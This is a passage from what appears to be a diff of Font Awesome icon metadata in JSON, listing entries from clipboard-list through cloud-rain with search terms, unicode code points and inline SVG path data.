], + "width": 384, + "height": 512, + "path": "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z" + } + }, + "free": [ + "solid" + ] + }, + "clipboard-list": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "completed", + "done", + "finished", + "intinerary", + "ol", + "schedule", + "tick", + "todo", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f46d", + "label": "Clipboard List", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635405, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z" + } + }, + "free": [ + "solid" + ] + }, + "clock": { + "changes": [ + "1", + "5.0.0", + "5.12.1" + ], + "ligatures": [], + "search": { + "terms": [ + "date", + "late", + "schedule", + "time", + "timer", + "timestamp", + "watch" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f017", + "label": "Clock", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635406, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z" + }, + "regular": { + "last_modified": 1628088634741, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "clone": { + "changes": [ + "4.4", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "copy", + "duplicate", + "paste" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f24d", + "label": "Clone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635406, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z" + }, + "regular": { + "last_modified": 1628088634741, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "closed-captioning": { + "changes": [ + "4.2", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "cc", + "deaf", + "hearing", + "subtitle", + "subtitling", + "text", + "video" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f20a", + "label": "Closed Captioning", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635406, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z" + }, + "regular": { + "last_modified": 1628088634742, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "cloud": { + "changes": [ + "2", + "5.0.0", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "atmosphere", + "fog", + "overcast", + "save", + "upload", + "weather" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c2", + "label": "Cloud", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635411, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-download-alt": { + "changes": [ + "5.0.0", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "download", + "export", + "save" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f381", + "label": "Alternate Cloud Download", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635406, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-meatball": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "FLDSMDFR", + "food", + "spaghetti", + "storm" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f73b", + "label": "Cloud with (a chance of) Meatball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635407, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-moon": { + "changes": [ + "5.4.0", + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "crescent", + "evening", + "lunar", + "night", + "partly cloudy", + "sky" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6c3", + "label": "Cloud with Moon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635408, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-moon-rain": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "crescent", + "evening", + "lunar", + "night", + "partly cloudy", + "precipitation", + "rain", + "sky", + "storm" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f73c", + "label": "Cloud with Moon and Rain", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635408, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-rain": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "precipitation", + "rain", + "sky", + "storm" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f73d", + "label": "Cloud with Rain", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635408, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z" + } + 